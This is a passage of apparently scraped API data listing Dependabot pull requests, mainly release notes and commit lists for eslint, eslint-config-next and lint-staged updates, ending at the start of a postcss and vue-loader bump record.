26.1.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 9.39.3 to 10.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.7.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e) (fnx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/557fde8bc633d26ea4fe287d4483f287e8e6080f\"\u003e\u003ccode\u003e557fde8\u003c/code\u003e\u003c/a\u003e feat: support computed \u003ccode\u003eNumber.parseInt\u003c/code\u003e member access in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21041\"\u003e#21041\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0b4a73b65808f5a8fd192f15db2bf5e47002b9f7\"\u003e\u003ccode\u003e0b4a73b\u003c/code\u003e\u003c/a\u003e feat: add suggestions to no-compare-neg-zero (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21034\"\u003e#21034\u003c/a\u003e) (den$)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96cdd427db5f26c6403fba92b0f7ae4556c595ec\"\u003e\u003ccode\u003e96cdd42\u003c/code\u003e\u003c/a\u003e feat: report invalid signed numeric radix values in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21030\"\u003e#21030\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0d7d70cf013ec5bf1e4f5a0fcf7128bdf059b2d4\"\u003e\u003ccode\u003e0d7d70c\u003c/code\u003e\u003c/a\u003e fix: insert cause outside wrapping parens in preserve-caught-error (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21062\"\u003e#21062\u003c/a\u003e) (Mahin Anowar)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/75ec753226010867270787b412f3dae412e421e6\"\u003e\u003ccode\u003e75ec753\u003c/code\u003e\u003c/a\u003e fix: handle static template literals in \u003ccode\u003eeqeqeq\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21058\"\u003e#21058\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b717a22e2408389a2ad40af66543e46390669eb6\"\u003e\u003ccode\u003eb717a22\u003c/code\u003e\u003c/a\u003e fix: prevent \u003ccode\u003eeqeqeq\u003c/code\u003e null option from reporting non-equality operators (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21057\"\u003e#21057\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e35b05f1961dcd691611bd68b6ff8a87072d6f76\"\u003e\u003ccode\u003ee35b05f\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-invalid-regexp\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21051\"\u003e#21051\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a3172b69c7db63ea0321355543e3f527c7d8b76a\"\u003e\u003ccode\u003ea3172b6\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-control-regex\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21050\"\u003e#21050\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d1f637eca27e523d613991c6bea5b8726b810e4c\"\u003e\u003ccode\u003ed1f637e\u003c/code\u003e\u003c/a\u003e fix: parenthesize sequence expression operands in no-implicit-coercion (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21045\"\u003e#21045\u003c/a\u003e) (spokodev)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8859bafb018e2b23b5110d52e491b69b94ad890a\"\u003e\u003ccode\u003e8859baf\u003c/code\u003e\u003c/a\u003e fix: avoid prefer-numeric-literals false positive for shadowed globals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21047\"\u003e#21047\u003c/a\u003e) (한국)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a9e5961050676ef29dba9649dfcd7233d21760c7\"\u003e\u003ccode\u003ea9e5961\u003c/code\u003e\u003c/a\u003e fix: use-isnan false positive on shadowed NaN/Number (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20958\"\u003e#20958\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8a240a76108f30f2476e61a925e4d32d378cce5e\"\u003e\u003ccode\u003e8a240a7\u003c/code\u003e\u003c/a\u003e fix: avoid false positives in \u003ccode\u003eradix\u003c/code\u003e rule for spread arguments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21044\"\u003e#21044\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5139800b23e77fdd1a76664e1b36f478942eae55\"\u003e\u003ccode\u003e5139800\u003c/code\u003e\u003c/a\u003e docs: document ESLint migration codemods in v9 and v10 guides (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20980\"\u003e#20980\u003c/a\u003e) (Alex Bit)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/04174cbfaac1f9555400b5332d69056e6aab9cc6\"\u003e\u003ccode\u003e04174cb\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/026e1304080512bcddfd2af3557fff86474ff949\"\u003e\u003ccode\u003e026e130\u003c/code\u003e\u003c/a\u003e docs: update semver policy for bug fixes (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21048\"\u003e#21048\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/9d42fefb0e05ecd0b256c2ebed479fc868862f0c\"\u003e\u003ccode\u003e9d42fef\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b23015955c8d6e6516076190730f538c86927f26\"\u003e\u003ccode\u003eb230159\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0129972ba122e95bece6040fda44d20f6799246a\"\u003e\u003ccode\u003e0129972\u003c/code\u003e\u003c/a\u003e docs: correct \u003ccode\u003e**/.js\u003c/code\u003e glob to \u003ccode\u003e**/*.js\u003c/code\u003e in config files guide (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21036\"\u003e#21036\u003c/a\u003e) (EduardF1)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/833ec10fd702644e94334edd3cd2aa313174a958\"\u003e\u003ccode\u003e833ec10\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.4 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21061\"\u003e#21061\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7ea106ddcb6af7db8f36d62a28dbaba94d33598e\"\u003e\u003ccode\u003e7ea106d\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21059\"\u003e#21059\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8fb550e7c257fbdc4108fc8e63db43c1d914d472\"\u003e\u003ccode\u003e8fb550e\u003c/code\u003e\u003c/a\u003e chore: add prettier update commit to \u003ccode\u003e.git-blame-ignore-revs\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21056\"\u003e#21056\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e4e11668ead6b950328c71e894563a13ef72bf84\"\u003e\u003ccode\u003ee4e1166\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21055\"\u003e#21055\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0493f53f3fcec4ed69a1808dffa153dcff1380d3\"\u003e\u003ccode\u003e0493f53\u003c/code\u003e\u003c/a\u003e chore: update prettier to v3.9.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21054\"\u003e#21054\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/1056a996c657b377dc16a58c28890d2940394408\"\u003e\u003ccode\u003e1056a99\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.8.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21049\"\u003e#21049\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4d4155df4a21d711e8dd21a467de085e770bad35\"\u003e\u003ccode\u003e4d4155d\u003c/code\u003e\u003c/a\u003e ci: run ecosystem tests on pull requests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21027\"\u003e#21027\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/993539fd45d3d01aad3fbc13963e2245fdf7ee0d\"\u003e\u003ccode\u003e993539f\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.0.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21042\"\u003e#21042\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/53f8b69c15af7398c989071ee4788b88edd48bdd\"\u003e\u003ccode\u003e53f8b69\u003c/code\u003e\u003c/a\u003e test: add error locations to \u003ccode\u003eno-constant-binary-expression\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21039\"\u003e#21039\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5ab71d52f9d860df04e626fcd819a36257f21f9e\"\u003e\u003ccode\u003e5ab71d5\u003c/code\u003e\u003c/a\u003e refactor: clean up radix rule internals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21015\"\u003e#21015\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a80a9a461478838930c5545f840473840b26b0e6\"\u003e\u003ccode\u003ea80a9a4\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21035\"\u003e#21035\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7c9a02933cf1c231237babb8a7a32150ab72e263\"\u003e\u003ccode\u003e7c9a029\u003c/code\u003e\u003c/a\u003e ci: add Node.js 26 to CI (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20847\"\u003e#20847\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b1f910628e29a018c860e2352bc14cd07c853d67\"\u003e\u003ccode\u003eb1f9106\u003c/code\u003e\u003c/a\u003e feat: detect Symbol() and BigInt() in no-constant-binary-expression (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20981\"\u003e#20981\u003c/a\u003e) (Taejin Kim)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/fabd99bb74eedcb950df51ec3280414ff1d68d38\"\u003e\u003ccode\u003efabd99b\u003c/code\u003e\u003c/a\u003e 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/37c5e75949ff2ae1f0085f547e35ce2bdf9d524d\"\u003e\u003ccode\u003e37c5e75\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v9.39.3...v10.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-config-next` from 16.2.9 to 16.2.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003eeslint-config-next's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.2.10\u003c/h2\u003e\n\u003cp\u003eContains no changes except publishing \u003ccode\u003e@next/swc-wasm-web\u003c/code\u003e which was accidentally not published since 16.2.4.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9dadfd693c5d26bb3c85d1c17802f49dde244b3e\"\u003e\u003ccode\u003e9dadfd6\u003c/code\u003e\u003c/a\u003e v16.2.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/534d9c144ca342ff9ee5569241a814539d6eadb9\"\u003e\u003ccode\u003e534d9c1\u003c/code\u003e\u003c/a\u003e [16.2.x] Release pipeline updates (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/95160\"\u003e#95160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6e1a94de7c4e68892de4b1e28262be5970358458\"\u003e\u003ccode\u003e6e1a94d\u003c/code\u003e\u003c/a\u003e [16.2.x][ci]: fix release script to not strip newlines (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/94640\"\u003e#94640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/commits/v16.2.10/packages/eslint-config-next\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lint-staged` from 17.0.7 to 17.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/releases\"\u003elint-staged's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.1.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1816\"\u003e#1816\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/7568d4fb15ba3c3317a7aec36195461cb2f272d7\"\u003e\u003ccode\u003e7568d4f\u003c/code\u003e\u003c/a\u003e - The console output of \u003cem\u003elint-staged\u003c/em\u003e has been simplified so that there's less interactive spinners and more explicit messages like \u003cem\u003e\u0026quot;Started…\u003c/em\u003e\u0026quot; -\u0026gt; \u0026quot;\u003cem\u003eDone!\u003c/em\u003e\u0026quot;. The primary purpose of this was to remove \u003ca href=\"https://github.com/listr2/listr2\"\u003e\u003ccode\u003eListr2\u003c/code\u003e\u003c/a\u003e, a very large dependency.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSize of \u003ccode\u003enode_modules/\u003c/code\u003e after installing: \u003ccode\u003e1561.7 kB\u003c/code\u003e with 29 packages.\u003c/p\u003e\n\u003cp\u003eFancy interactive spinners, but output dynamically changes:\u003c/p\u003e\n\u003cpre lang=\"shell\"\u003e\u003ccode\u003e✔ Backed up original state in git stash (0b191303)\n✔ Running tasks for staged files...\n✔ Staging changes from tasks...\n✔ Cleaning up temporary files...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eAfter:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSize of \u003ccode\u003enode_modules/\u003c/code\u003e after installing: \u003ccode\u003e974.0 kB\u003c/code\u003e with 5 packages (37.6 % smaller, 82.7 % less transitive dependencies).\u003c/p\u003e\n\u003cp\u003eSimpler but more explicit output:\u003c/p\u003e\n\u003cpre lang=\"shell\"\u003e\u003ccode\u003e⋯ Backing up original state…\n✔ Done backing up original state (35b38ed1)!\n⋯ Running tasks for staged files…\n    *.js — 1 file\n      ⋯ oxlint --fix\n    *.{json,md} — 1 file\n      ⋯ oxfmt --write\n\u003cp\u003e✔ oxfmt --write\u003cbr /\u003e\n✔ oxlint --fix\u003c/p\u003e\n\u003cp\u003e✔ Done running tasks for staged files!\u003cbr /\u003e\n⋯ Staging changes from tasks…\u003cbr /\u003e\n✔ Done staging changes from tasks!\u003cbr /\u003e\n⋯ Cleaning up temporary files…\u003cbr /\u003e\n✔ Done cleaning up temporary files!\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1816\"\u003e#1816\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/c19079d808d557b538c34fe69381d2ef970c7acc\"\u003e\u003ccode\u003ec19079d\u003c/code\u003e\u003c/a\u003e - Try to restore hidden unstaged changes when using \u003ccode\u003e--no-revert\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1818\"\u003e#1818\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/efb23a25075d980db9edabd2f71e769fc97d48c8\"\u003e\u003ccode\u003eefb23a2\u003c/code\u003e\u003c/a\u003e - Console output colors are enabled/disabled more consistently.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1818\"\u003e#1818\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/26112a19151f9678861d51ea7416e9f9bef24bbb\"\u003e\u003ccode\u003e26112a1\u003c/code\u003e\u003c/a\u003e - Failed JS function tasks now properly kill other tasks, unless \u003ccode\u003e--continue-on-error\u003c/code\u003e is used. Previously their failure didn't affect other tasks.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/blob/main/CHANGELOG.md\"\u003elint-staged's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e17.1.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1816\"\u003e#1816\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/7568d4fb15ba3c3317a7aec36195461cb2f272d7\"\u003e\u003ccode\u003e7568d4f\u003c/code\u003e\u003c/a\u003e - The console output of \u003cem\u003elint-staged\u003c/em\u003e has been simplified so that there's less interactive spinners and more explicit messages like \u003cem\u003e\u0026quot;Started…\u003c/em\u003e\u0026quot; -\u0026gt; \u0026quot;\u003cem\u003eDone!\u003c/em\u003e\u0026quot;. The primary purpose of this was to remove \u003ca href=\"https://github.com/listr2/listr2\"\u003e\u003ccode\u003eListr2\u003c/code\u003e\u003c/a\u003e, a very large dependency.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSize of \u003ccode\u003enode_modules/\u003c/code\u003e after installing: \u003ccode\u003e1561.7 kB\u003c/code\u003e with 29 packages.\u003c/p\u003e\n\u003cp\u003eFancy interactive spinners, but...\n\n_Description has been truncated_","html_url":"https://github.com/kkulykk/library-games/pull/172","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkulykk%2Flibrary-games/issues/172","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/172/packages"},{"uuid":"4920398730","node_id":"PR_kwDORXcT2c7zbPId","number":474,"state":"closed","title":"chore(deps): bump postcss and vue-loader in /services/social","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-07-18T23:11:19.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-18T23:02:20.000Z","updated_at":"2026-07-18T23:11:21.000Z","time_to_close":539,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"postcss","repository_url":"https://github.com/postcss/postcss","old_version":"7.0.39","new_version":"8.5.14"},{"name":"vue-loader","repository_url":"https://github.com/vuejs/vue-loader","old_version":"15.11.1","new_version":"17.4.2"}],"path":"/services/social","ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) to 8.5.14 and updates ancestor dependency [vue-loader](https://github.com/vuejs/vue-loader). These dependencies need to be updated together.\n\nUpdates `postcss` from 7.0.39 